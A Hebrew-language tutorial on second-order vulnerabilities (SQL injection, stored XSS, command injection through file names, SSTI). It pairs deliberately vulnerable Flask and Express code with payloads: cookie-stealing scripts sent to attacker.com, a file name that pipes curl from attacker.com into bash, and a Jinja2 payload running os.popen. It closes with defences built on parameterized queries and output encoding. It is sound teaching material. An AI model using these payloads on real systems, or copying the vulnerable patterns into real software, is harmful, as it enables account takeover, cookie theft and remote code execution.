לדלג לתוכן

חולשות מסדר שני - Second-Order Attacks

מבוא

חולשות מסדר שני הן חולשות שבהן ה-payload מוזרק בשלב אחד אבל מופעל בשלב אחר, לעיתים בהקשר שונה לחלוטין. זה הופך אותן לקשות מאוד לזיהוי - כי נקודת הinjection ונקודת ההפעלה מופרדות.

בחולשה רגילה (מסדר ראשון), ה-payload מוזרק ומופעל באותה בקשה. בחולשה מסדר שני:
1. ה-payload נשמר במערכת (מסד נתונים, קובץ, לוג)
2. בשלב מאוחר יותר, המערכת קוראת את הנתון השמור ומשתמשת בו בצורה לא בטוחה

הinjection SQL מסדר שני - Second-Order SQLi

התרחיש

נניח שיש לנו מערכת רישום משתמשים:

# Step 1 - registration (the input is stored safely)
@app.route('/register', methods=['POST'])
def register():
    username = request.form['username']
    password = request.form['password']
    email = request.form['email']

    # Using a parameterized query - safe!
    cursor.execute(
        "INSERT INTO users (username, password, email) VALUES (%s, %s, %s)",
        (username, hash_password(password), email)
    )
    db.commit()
    return "User registered successfully"
# Step 2 - password change (the old input is read and used unsafely)
@app.route('/change-password', methods=['POST'])
def change_password():
    new_password = request.form['new_password']
    username = session['username']  # read from the database - "safe"?

    # Vulnerable! The username from the database is inserted directly into the query
    query = f"UPDATE users SET password='{hash_password(new_password)}' WHERE username='{username}'"
    cursor.execute(query)
    db.commit()
    return "Password changed"

התקיפה

Step 1 - register with a malicious username:
    Username: admin'--
    Password: anything

Step 2 - the registration succeeds because the input goes through a parameterized query
    INSERT INTO users (username, password, email) VALUES ('admin''-- ', 'hash', 'evil@mail.com')

Step 3 - the attacker logs in with admin'-- and changes the password
    The query that's created:
    UPDATE users SET password='new_hash' WHERE username='admin'-- '

    What actually happens:
    UPDATE users SET password='new_hash' WHERE username='admin'
    (the comment deletes the rest of the query)

Step 4 - admin's password has changed! The attacker can log in as admin

תרשים זרימה שמראה כיצד קלט זדוני נשמר בבטחה בשלב האחסון ומופעל מאוחר יותר בשאילתה לא בטוחה שמחליפה את סיסמת המנהל

דוגמה מלאה יותר

from flask import Flask, request, session
import sqlite3

app = Flask(__name__)
app.secret_key = 'secret'

def get_db():
    db = sqlite3.connect('app.db')
    return db

# Registration - safe (parameterized)
@app.route('/register', methods=['POST'])
def register():
    db = get_db()
    username = request.form['username']
    password = request.form['password']

    # Parameterized - the input is stored as-is, including special characters
    db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
               (username, password))
    db.commit()
    return "Registered!"

# View profile - safe
@app.route('/profile')
def profile():
    db = get_db()
    username = session['username']
    # Parameterized - safe
    user = db.execute("SELECT * FROM users WHERE username = ?", (username,)).fetchone()
    return f"Welcome {user[0]}"

# Change password - vulnerable!
@app.route('/change-password', methods=['POST'])
def change_password():
    db = get_db()
    new_password = request.form['new_password']
    username = session['username']  # read from the session, which was read from the database

    # Vulnerable! string formatting with a value from the database
    query = f"UPDATE users SET password = '{new_password}' WHERE username = '{username}'"
    db.execute(query)
    db.commit()
    return "Password changed!"

# User list for the admin - vulnerable!
@app.route('/admin/users')
def list_users():
    db = get_db()
    users = db.execute("SELECT username, email FROM users").fetchall()

    html = "<h1>Users</h1><table>"
    for user in users:
        # Vulnerable! The username is displayed without escaping
        html += f"<tr><td>{user[0]}</td><td>{user[1]}</td></tr>"
    html += "</table>"
    return html

XSS מסדר שני - Second-Order XSS

התרחיש

ה-payload של XSS נשמר בפרופיל המשתמש ומופעל כשמשתמש אחר (או מנהל) צופה בו.

קוד פגיע

// Node.js/Express server

// Update profile - the input is stored
app.post('/profile/update', async (req, res) => {
    const { displayName, bio } = req.body;

    // The input is stored as-is - no filtering
    await User.updateOne(
        { _id: req.user.id },
        { displayName, bio }
    );

    res.json({ success: true });
});

// View profile - the input is displayed
app.get('/user/:id', async (req, res) => {
    const user = await User.findById(req.params.id);

    // Vulnerable! Data from the database is inserted directly into HTML
    res.send(`
        <h1>${user.displayName}</h1>
        <p>${user.bio}</p>
    `);
});

// Admin panel - all users
app.get('/admin/users', async (req, res) => {
    const users = await User.find();

    let html = '<h1>All Users</h1><table>';
    for (const user of users) {
        // Vulnerable! Usernames are displayed without escaping
        html += `<tr><td>${user.displayName}</td><td>${user.email}</td></tr>`;
    }
    html += '</table>';
    res.send(html);
});

התקיפה

Step 1 - update profile with a payload:
    displayName: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
    bio: Normal bio text

Step 2 - the payload is stored in the database

Step 3 - when an admin views the admin panel, the JavaScript executes in their browser
    -> The admin's cookie is sent to the attacker

XSS מסדר שני דרך שם קובץ

# Step 1 - upload a file with a malicious name
# Filename: "><img src=x onerror=alert(1)>.png

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    # The filename is stored as-is
    filename = file.filename
    file.save(os.path.join('uploads', filename))
    db.execute("INSERT INTO files (name, user_id) VALUES (?, ?)",
               (filename, session['user_id']))
    return "File uploaded"

# Step 2 - display the file list
@app.route('/files')
def list_files():
    files = db.execute("SELECT name FROM files WHERE user_id = ?",
                       (session['user_id'],)).fetchall()
    html = "<h1>Your Files</h1><ul>"
    for f in files:
        html += f"<li>{f[0]}</li>"  # Vulnerable! The filename is displayed without escaping
    html += "</ul>"
    return html

דוגמאות נוספות של חולשות מסדר שני

הinjection פקודות מערכת הפעלה - Second-Order Command Injection

# Step 1 - save the filename
@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    filename = file.filename  # stored as-is
    file.save(f'uploads/{filename}')
    db.execute("INSERT INTO files (name) VALUES (?)", (filename,))
    return "Uploaded"

# Step 2 - process the file (cronjob or a later action)
def process_files():
    files = db.execute("SELECT name FROM files WHERE processed = 0").fetchall()
    for f in files:
        # Vulnerable! The filename is inserted directly into a system command
        os.system(f"convert uploads/{f[0]} processed/{f[0]}")
        db.execute("UPDATE files SET processed = 1 WHERE name = ?", (f[0],))

# Malicious filename:
# ;curl attacker.com/shell.sh|bash;.png
# or:
# $(whoami).png

SSTI מסדר שני

# Step 1 - save a custom email template
@app.route('/settings/email-template', methods=['POST'])
def save_template():
    template = request.form['template']
    # stored as-is
    db.execute("UPDATE settings SET email_template = ? WHERE user_id = ?",
               (template, session['user_id']))
    return "Template saved"

# Step 2 - send an email (render the template)
def send_notification(user_id, data):
    template = db.execute(
        "SELECT email_template FROM settings WHERE user_id = ?", (user_id,)
    ).fetchone()[0]

    # Vulnerable! The template from the database is processed as Jinja2
    rendered = render_template_string(template, **data)
    send_email(rendered)

# payload in the template:
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

זיהוי חולשות מסדר שני

אסטרטגיה

  1. מיפוי נקודות קלט ופלט - זהו כל מקום שנתון נשמר, וכל מקום שנתון שמור מוצג או משמש
  2. עקבו אחרי הנתונים - עקבו אחרי הנתיב של כל קלט: איפה הוא נשמר, ואיפה הוא נקרא בחזרה
  3. בדקו הקשרים שונים - payload שנשמר בהקשר אחד עשוי להיות מסוכן בהקשר אחר
  4. בדקו פעולות מנהל - מנהלים צופים בנתונים שמשתמשים רגילים שומרים

טכניקות בדיקה

Username: admin'--
Username: <script>alert(1)</script>
Username: {{7*7}}
Username: ${7*7}
Username: ;id;

Filename: test;id;.txt
Filename: test$(whoami).txt
Filename: "><img src=x onerror=alert(1)>.txt

Bio: <img src=x onerror=alert(document.cookie)>
Bio: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

כלים לזיהוי

Burp Suite - using a passive scanner that tracks stored data
OWASP ZAP - active scanning with a second-order profile
Manual - Collaborator payloads at every input point and checking over time

אסטרטגיות exploit מתקדמות

הexploit מעוכב בזמן

# A payload that only triggers on a scheduled action
# For example - a daily report sent to admins

# Step 1 - save a payload in the profile
display_name = "<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>"

# Step 2 - wait for the daily report to be generated and sent to the admin
# The report contains the names of all registered users
# The XSS fires when the admin opens the report

הchaining עם חולשות אחרות

1. Second-order SQLi -> credentials exposure -> access to the admin panel
2. Second-order XSS -> stealing an admin cookie -> access to the admin panel
3. Second-order SSTI -> RCE -> full control of the server
4. Second-order Command Injection -> reverse shell

הגנה מפני חולשות מסדר שני

עקרון 1 - סינון בפלט, לא רק בקלט

# Not enough - filtering only on input
def save_user(username):
    safe_name = sanitize(username)
    db.execute("INSERT INTO users VALUES (?)", (safe_name,))

# Required - filter on output too, based on context
def display_user(user_id):
    user = db.execute("SELECT username FROM users WHERE id = ?", (user_id,)).fetchone()

    # HTML context - escape HTML entities
    safe_name = html.escape(user[0])
    return f"<h1>{safe_name}</h1>"

עקרון 2 - encoding מותאם הקשר

import html
import shlex
import re

def display_in_html(value):
    """For display inside HTML"""
    return html.escape(value)

def use_in_sql(value):
    """For use in a SQL query - always parameterized"""
    # Never use string formatting
    cursor.execute("SELECT * FROM users WHERE name = %s", (value,))

def use_in_command(value):
    """For use in a system command"""
    safe_value = shlex.quote(value)
    os.system(f"echo {safe_value}")

def use_in_template(value):
    """For use in a template - pass as a parameter"""
    return render_template('page.html', name=value)

def use_in_ldap(value):
    """For use in an LDAP filter"""
    special_chars = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\0': '\\00'}
    for char, escape in special_chars.items():
        value = value.replace(char, escape)
    return value

עקרון 3 - שימוש עקבי ב-Parameterized Queries

# Every query must be parameterized, even if the value seems "safe"
# because the "safe" value from the database may contain a second-order payload

# Vulnerable
def change_password(username, new_password):
    query = f"UPDATE users SET password='{new_password}' WHERE username='{username}'"
    cursor.execute(query)

# Safe
def change_password(username, new_password):
    cursor.execute(
        "UPDATE users SET password = %s WHERE username = %s",
        (new_password, username)
    )

עקרון 4 - אל תסמכו על נתונים מהמסד

# Wrong assumption: "the value was already validated when it was stored"
# Correct assumption: "any value, from any source, could be dangerous"

def process_data(user_id):
    user = db.execute("SELECT * FROM users WHERE id = ?", (user_id,)).fetchone()
    username = user['username']

    # Even though it comes from the database - treat it as untrusted input
    # and perform encoding/escaping based on the usage context

סיכום

חולשות מסדר שני הן מהקשות ביותר לזיהוי ולתיקון. הנקודות העיקריות:

  • ה-payload נשמר בשלב אחד ומופעל בשלב אחר - לעיתים שעות או ימים אחרי
  • רוב הסורקים האוטומטיים לא מזהים אותן כי הם לא עוקבים אחרי נתונים שמורים
  • ההגנה דורשת סינון בפלט ולא רק בקלט - כל פעם שנתון מוצג או משמש, יש לבצע encoding מתאים להקשר
  • לעולם לא לסמוך על נתונים מהמסד - הם עשויים להכיל payloads שהוזרקו מוקדם יותר
  • שימוש עקבי ב-parameterized queries בכל query, גם כשהנתון נראה "בטוח"